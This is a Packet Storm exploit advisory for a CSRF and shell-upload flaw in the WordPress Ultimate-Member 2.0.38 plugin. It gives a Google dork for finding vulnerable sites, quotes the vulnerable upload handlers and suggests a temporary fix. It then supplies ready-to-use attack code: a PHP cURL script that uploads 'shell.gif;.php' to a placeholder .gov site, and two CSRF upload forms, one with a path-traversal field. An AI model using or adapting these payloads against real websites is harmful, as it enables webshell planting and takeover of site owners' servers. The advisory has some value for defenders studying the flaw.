what you don't know can hurt you

WordPress Ultimate-Member 2.0.38 Cross Site Request Forgery / Shell Upload

WordPress Ultimate-Member 2.0.38 Cross Site Request Forgery / Shell Upload
Posted Feb 5, 2019
Authored by KingSkrupellos

WordPress Ultimate-Member plugin version 2.0.38 suffers from cross site request forgery and remote shell upload vulnerabilities.

tags | exploit, remote, shell, vulnerability, csrf
MD5 | f61b91a24dc98849236a6c36c3e9540e

WordPress Ultimate-Member 2.0.38 Cross Site Request Forgery / Shell Upload

Change Mirror Download
####################################################################

# Exploit Title : WordPress Ultimate-Member Plugins 2.0.38 CSRF Shell Upload
# Author [ Discovered By ] : KingSkrupellos
# Team : Cyberizm Digital Security Army
# Date : 05/02/2019
# Vendor Homepage : ultimatemember.com
# Software Download Link : downloads.wordpress.org/plugin/ultimate-member.2.0.38.zip
# Software Information Links : wordpress.org/plugins/ultimate-member/
# Software Vulnerable Source Codes :
github.com/wp-plugins/ultimate-member/blob/master/core/lib/upload/um-file-upload.php
github.com/wp-plugins/ultimate-member/blob/master/core/lib/upload/um-image-upload.php
# Software Version : 1.3.21 and 2.0.38 - other previous versions.
# Tested On : Windows and Linux
# Category : WebApps
# Exploit Risk : Medium
# Google Dorks : inurl:''/wp-content/plugins/ultimate-member/''
# Vulnerability Type : CWE-434 [ Unrestricted Upload of File with Dangerous Type ]
CWE-264 [ Permissions, Privileges, and Access Controls ]
# PacketStormSecurity : packetstormsecurity.com/files/authors/13968
# CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
# Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos

####################################################################

# Description about Software :
***************************
Ultimate Member is the #1 user profile & membership plugin for WordPress.

The plugin makes it a breeze for users to sign-up and become members of your website.

The plugin allows you to add beautiful user profiles to your site and is perfect

for creating advanced online communities and membership sites.

Lightweight and highly extendible, Ultimate Member will enable you to create almost

any type of site where users can join and become members with absolute ease.

####################################################################

# Impact :
***********

* The software allows the attacker to upload or transfer files of dangerous types

that can be automatically processed within the product's environment.

* This software WordPress Ultimate-Member Plugins is prone to a vulnerability

that lets attackers upload arbitrary files and shell because it fails to adequately sanitize user-supplied input.

An attacker can exploit this vulnerability to upload arbitrary code and execute

it in the context of the webserver process.

This may facilitate unauthorized access or privilege escalation; other attacks are also possible.

Attackers can exploit this issue through a browser.

System Compromise - Remote attackers can gain control of vulnerable systems.

####################################################################

# Remote File Upload/Shell Upload Exploit :
***************************************
/wp-content/plugins/ultimate-member/core/lib/upload/um-image-upload.php

# Directory File Path :
*******************

/wp-content/uploads/ultimatemember/temp/.....

/wp-content/uploads/.....

####################################################################

# Vulnerability Error :
*******************
{"error":"A theme or plugin compatibility issue"}

# Vulnerable Source Code => [ um-image-upload.php ]
************************
<?php
$i = 0;
$dirname = dirname( __FILE__ );
do {
$dirname = dirname( $dirname );
$wp_load = "{$dirname}/wp-load.php";
}
while( ++$i < 10 && !file_exists( $wp_load ) );
require_once( $wp_load );
global $ultimatemember;
$id = $_POST['key'];
$ultimatemember->fields->set_id = $_POST['set_id'];
$ultimatemember->fields->set_mode = $_POST['set_mode'];
$ret['error'] = null;
$ret = array();
if(isset($_FILES[$id]['name'])) {
if(!is_array($_FILES[$id]['name'])) {

$temp = $_FILES[$id]["tmp_name"];
$file = $_FILES[$id]["name"];
$file = sanitize_file_name($file);

$error = $ultimatemember->files->check_image_upload( $temp, $id );
if ( $error ){

$ret['error'] = $error;

} else {

$ret[] = $ultimatemember->files->new_image_upload_temp( $temp, $file, um_get_option('image_compression') );

}
}

} else {
$ret['error'] = __('A theme or plugin compatibility issue','ultimatemember');
}
echo json_encode($ret);

####################################################################

# Vulnerable Source Code => [ um-file-upload.php ]
***************************

<?php
$i = 0;
$dirname = dirname( __FILE__ );
do {
$dirname = dirname( $dirname );
$wp_load = "{$dirname}/wp-load.php";
}
while( ++$i < 10 && !file_exists( $wp_load ) );
require_once( $wp_load );
global $ultimatemember;
$id = $_POST['key'];
$ultimatemember->fields->set_id = $_POST['set_id'];
$ultimatemember->fields->set_mode = $_POST['set_mode'];
$ret['error'] = null;
$ret = array();
if(isset($_FILES[$id]['name'])) {
if(!is_array($_FILES[$id]['name'])) {

$temp = $_FILES[$id]["tmp_name"];
$file = $_FILES[$id]["name"];
$file = sanitize_file_name($file);
$extension = pathinfo($file, PATHINFO_EXTENSION);

$error = $ultimatemember->files->check_file_upload( $temp, $extension, $id );
if ( $error ){
$ret['error'] = $error;
} else {
$ret[] = $ultimatemember->files->new_file_upload_temp( $temp, $file );
$ret['icon'] = $ultimatemember->files->get_fonticon_by_ext( $extension );
$ret['icon_bg'] = $ultimatemember->files->get_fonticon_bg_by_ext( $extension );
$ret['filename'] = $file;
}
}

} else {
$ret['error'] = __('A theme or plugin compatibility issue','ultimatemember');
}
echo json_encode($ret);

####################################################################

# Solution :
******************

Temporary solution to this is to disable the image upload functionality,

which can be done by adding the following lines

$ret['error'] = __('Functionality disabled');
exit(json_encode($ret));

directly below the line

function ajax_image_upload() {

in the file /includes/core/class-files.php

####################################################################

# PHP Exploiter =>
********************

<?php

$uploadfile="shell.gif;.php";

$ch = curl_init("http://VULNERABLESITEHERE.gov/wp-content/plugins/ultimate-member/core/lib/upload/um-image-upload.php");

curl_setopt($ch, CURLOPT_POST, true);

curl_setopt($ch, CURLOPT_POSTFIELDS,

array('Filedata'=>"@$uploadfile",'folder'=>'/wp-content/uploads/ultimatemember/temp/'));

curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

$postResult = curl_exec($ch);

curl_close($ch);

print "$postResult";

?>

####################################################################

# CSRF Cross Site Request Forgery Exploiter 1 :
******************************************

<form enctype="multipart/form-data"
action="http://VULNERABLESITEHERE.gov/wp-content/plugins/ultimate-member/core/lib/upload/um-image-upload.php" method="post">
Your File: <input name="uploadfile" type="file" /><br />
<input type="hidden" name="dir_icons" value="../../../../">
<input type="submit" value="upload" />
</form>

####################################################################

# CSRF Cross Site Request Forgery Exploiter 2 :
******************************************

<html>
<body>
<form enctype="multipart/form-data" action="VULNERABLESITEHERE.gov/wp-content/plugins/ultimate-member/core/lib/upload/um-file-upload.php" method="post">
Your File: <input name="files[]" type="file" /><br />
<input type="submit" value="Successfull!" />
</form>
</body>
</html>

####################################################################

# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team

####################################################################

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

November 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    28 Files
  • 2
    Nov 2nd
    1 Files
  • 3
    Nov 3rd
    1 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    19 Files
  • 6
    Nov 6th
    65 Files
  • 7
    Nov 7th
    22 Files
  • 8
    Nov 8th
    18 Files
  • 9
    Nov 9th
    1 Files
  • 10
    Nov 10th
    1 Files
  • 11
    Nov 11th
    11 Files
  • 12
    Nov 12th
    65 Files
  • 13
    Nov 13th
    27 Files
  • 14
    Nov 14th
    22 Files
  • 15
    Nov 15th
    18 Files
  • 16
    Nov 16th
    1 Files
  • 17
    Nov 17th
    3 Files
  • 18
    Nov 18th
    22 Files
  • 19
    Nov 19th
    17 Files
  • 20
    Nov 20th
    15 Files
  • 21
    Nov 21st
    16 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close